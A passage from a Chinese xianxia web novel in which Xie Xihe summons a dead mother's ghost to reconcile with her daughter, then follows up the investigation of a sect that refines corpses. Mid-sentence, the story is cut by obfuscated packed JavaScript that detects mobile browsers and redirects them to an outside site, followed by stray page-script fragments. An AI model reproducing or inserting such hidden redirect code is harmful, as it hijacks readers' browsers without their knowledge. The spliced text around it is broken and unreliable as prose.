夜幕降临时,谢羲和与王香来到了榕山乱葬岗。
陶云倦是仙门中人,在世俗的身份是晋阳侯府世子,无论和官府交涉还是守仙宫的人周旋都更为便利,因此谢羲和留他善后,处理后续事宜。
王香道:“你这是什么意思?我母亲好好在家呆着你带我来这里干什么?”
谢羲和道:“你逃离地宫后还没有回家看过吗?”
王香道:“她什么都帮不了我,我回去干什么?”
谢羲和道:“你就没想过,你失踪的这几个月,你母亲会去找你吗?”
“怎么可能?”王香的嘴唇动了动,似乎预感到了什么,笑声尖利刺耳:“怎么可能啊?她连县城都没出过,哪儿来的胆子去郡里找我啊?!”
谢羲和看着她欲哭无泪的眼,张婆子苍老的面容皱成一团,显得可怖又可怜。
分明知道了答案,眼中却还燃着最后一丝希冀。
谢羲和轻声道:“那你可算是小瞧了你母亲。”
王香沉默,被乱坟岗的荒草绊得踉跄了一下:“她死了啊?”
谢羲和没空答她了,因为她吹响了墨玉笛。
王香呆呆地看着眼前的潦草的坟茔,睁大的双眼中泪珠断了线,她扯起一抹讥笑,重重地又说了一遍,“死了?死得好。”
今夜是一轮下弦月,浓云蔽月,天地昏沉,随着谢羲和的招魂曲响起,月光冲破云层,如水镜高悬于空,清辉照亮坟岗。
王秀的鬼魂逐渐凝形,她惊讶地看着眼前丑陋、衰老的老妇,迟疑道:“香儿?是我的香儿吗?!”
未得回应,身体先一步认出,扑身上前,但她扑了个空,隔着阴阳,眼泪哗啦啦地流下:“香儿,你怎么成这样了啊?”
王香不答,反而恶声恶气道:“你怎么死的?”
她托身于犬时,心智蒙了一层雾,只想着先报仇再说,不要把木讷的母亲卷进来才好。又怕被人发现,当成邪祟,故而狠心没有回过一次家,没想到王秀竟然还是死了。
王秀看了眼谢羲和道:“你走了之后,娘想陪你一起上路,也好过你一个人在黄泉路上孤孤单单……”
闻言,谢羲和指尖动了动,墨玉笛在手中转了一圈,转过身去,留出空间给二人诉情。
“谁要你陪?谁要你陪?!”王香闻言却是狠戾起来:“你就安安心心绣你的花不好吗?平时半点主意没有,怎么这事就这么有主意了?!”
王秀掩面而泣:“是娘的错,是娘没本事,对不起你……”
“哭哭哭!你就知道哭!”王香气得来回踱步,“对!就是你没本事!要是有本事你何至于——你、你的手怎么了?”
王秀慌忙遮掩,王香冲过去想拉起她的袖子查看,又拉了个空。
王香怔在原地,混沌的脑海里模糊的画面一闪而逝。
孟夕命她去劝说一位即将出嫁的同乡,她听信孟夕以为那姑娘和她一样被负心人欺瞒了感情、辜负了真心。那傻女子和过去的她一样,信了一世一双人,她铩羽而归。不久后,她发觉同乡宛若变了一个人,再之后,便彻底失去了踪迹。
王香心下起疑,悄悄返回县里查探,竟撞破了几个同心会的执事姐妹秘密向城外运送尸体。她悄悄报了案,却不曾想自己也遭了毒手,被囚入暗无天日的地牢之中。
她成了孟夕炼魂术下的失败之作,却也因这“失败”,魂魄未散,随那些被丢弃的尸身一同弃于四屏郡城外的乱葬岗上。
不知昏沉了多久,在一片冰冷与死寂中,她忽然被一个温暖的怀抱紧紧抱住。恍惚间,她感受到滚烫的泪水、黏稠的鲜血,听见野狗此起彼伏的吠叫,以及一位妇人撕心裂肺的哭嚎与悲鸣……
她原以为抱住她的是张婆子,但事实上,从小到大无论她变成什么模样,会舍命护着她的,永远只有那一个人。
只是,她明白的太晚了。
王秀的魂影愈发淡薄:“来世,娘一定……”话至嘴边,王秀嗫嚅了一下,声音消逝在夜风中,“来世,你要去个好人家……”
——别再有我这样无用的娘,护不住你,连为你报仇都无能为力,想要知道你的死因还要假借他人之手……
——你要投个好胎,平安顺遂、富贵荣华,不必自己亲手去争、去抢,你想要的、想拥有的,一切珍重之物都会有更好的人替我捧到你面前……
——来世,不要做我的孩儿,跟着我受苦了……
月光渐渐褪去光华,隐入云层。
王秀的身形逐渐淡去,化作星星点点的尘埃,如流萤般散去。
王香伸手欲抓,却抓了个空。
“娘——!!”王香伏地,嚎啕大哭。
一道秀丽少女的魂影自那年迈丑陋的躯壳中挣扎而出,她奋力扑去,探出指尖,堪堪触向王秀即将消散的虚影。
她试图握住母亲最后的温度,却只虚虚一握,萤火般的微光便已从指缝间流散。
——谁稀罕什么荣华富贵,我恨的……从来都是你不懂护全自己……
秀才哪里是没了音讯?分明是和话本一般俗气的另娶他人。
婆家欺负王秀软弱,嫌她不是个男儿,王秀刚生产完就被他们赶出家门。
王秀一针一线,熬坏了眼睛。人善被人欺,被人低价买了绣品也只唯唯诺诺。十指不知道被刺穿多少遍,才将她养大成人。从小到大,好的坏的,只要王秀有,都紧着她。
在这样的境遇里长大,她不得不早早强硬起来。她要活得漂亮、活得张扬,还想要让王秀过上好日子。
——所以,我不是怪你,我是怪自己,自诩聪明还上当受骗……
一度被富贵迷了心窍,以为那富家公子被她玩弄于鼓掌之中,哪晓得别人比她段位更高。
在家颓废数日,却发现若是自己倒了,王秀怕是更不好过,这才眼泪一抹,重新振作去郡里谋生,却不想岂料才出狼窝,又入虎穴,遇上了孟夕这个死劫……
她的魂已经很淡了,王秀残留的魂光温柔地包裹着她,她像是重新回到了羊水中,被母亲抱在怀中。
“来世……我还要你做我的娘亲……”
不知从哪里飞来的萤火虫徘徊不散,谢羲和放了一把青于坟头,转身离去。
身后,两座土坟紧紧相依,一如生前母女二人相依为命。
金兰绣坊的大门已被贴上封条,回来的路上谢羲和便已经看见官府和守仙宫联名张贴的告示悬赏孟夕的行踪。
分管四屏郡的守仙宫弟子恭敬
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16406282|184480||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
地向谢羲和行礼:“谢元君。”
正在与郡守交谈的陶云倦闻声抬头,原本冷峻的神色霎时如春雪初融,绽开明朗的笑意:“师父,你回来啦。”
一旁的郡守暗暗抹了把冷汗,心道这晋阳侯世子一见到谢羲和,就跟狗见着肉骨头似的,连声音都黏糊了几分,实在瘆得慌。和方才责问他时的那副冷若冰霜的模样,简直两副嘴脸,判若两人。
陶云倦和谢羲和并肩而行:“王香如何了?”
谢羲和笑道:“执念散了,也就免了魂飞魄散的宿命。现在她们母女二人应该在酆都重遇了吧。”
陶云倦也笑:“那就好。”
谢羲和问:“你这边可有什么收获?”
说到这个,陶云倦脸上的笑意淡了几分,平静地开口:“这女人,倒是出人意料。我们连夜翻遍了金兰绣坊的账本,账目清晰,条条分明,照她的处境,没有一分钱花在不该花的地方。”说到这里,他声音中带了些许讽意,”若不是早知道她以活人炼制尸傀,我几乎要赞她一句高义。”
听到此处,谢羲和也是一愣。
陶云倦目光深邃,语调平缓,似乎只是在陈述一件寻常事:“她一面夺魂炼傀,一面重金请先生给女子授课、周济会中贫弱女子、打点府衙上下……毕竟三天两头就有人举报她们‘女子聚众、图谋不轨’,没银子打点,这同心会早散了。”
谢羲和目光也沉了下去,只道:“善是她,恶也是她,若非同根而生,相煎何急?”
陶云倦眼睛一转,便知道谢羲和的意思:“师父想必还有话要问那些女娘,我带师父去。”
说着,他看向了身后的郡守。郡守埋头走路,不知在想什么,一时未察,竟超过了他们。
陶云倦轻咳了两声,郡守才反应过来,赶忙退回两步:“谢元君,世子,下官失仪了。”
郡守略定心神:“绣坊的人际关系还在排查,那些女娘,虽受人蒙骗,情有可原,但依律仍需在牢中羁押一段时日,以待详查。”
一行人走至狱所门外,远远便见一人正被狱卒带出。只见他点头哈腰,扯住门口几名狱卒,挨个塞了些银钱。狱卒推拒几下,终是收下了,那人这才长舒一口气。
“诸位大哥,我家那口子就托付给你们了……她身子不好,还请各位行个方便,日后定当厚报!”
郡守方才因属下敷衍办案刚受了陶云倦的斥责,一转头竟亲眼目睹有人公然在衙狱前行贿,顿时后背发凉,又惊又怒,当即喝道:“成何体统!刑狱之地,岂容你如此公然行贿!视王法为何物?!来人——”
“且慢。”
他正欲唤人拿办,却听见身旁陶云倦淡声道:“下不为例。”
竟然是要轻拿轻放了。郡守摸不准他的意思,佯装厉色:“还不将银钱收回!在贵人面前还敢如此放肆,还不谢恩!”
那人这才如梦初醒,慌忙收回银子,连连叩首作揖:“小民糊涂!多谢大人宽宏!多谢大人不计小民之过!”
三人并未停留,径直向狱门内走去。那行贿男子躬身立在一旁,待他们走过,才敢稍稍抬头。
望着谢羲和、陶云倦的背影,他面露困惑,继而像是忽然忆起什么:“这不是在馄饨摊的那两人吗?”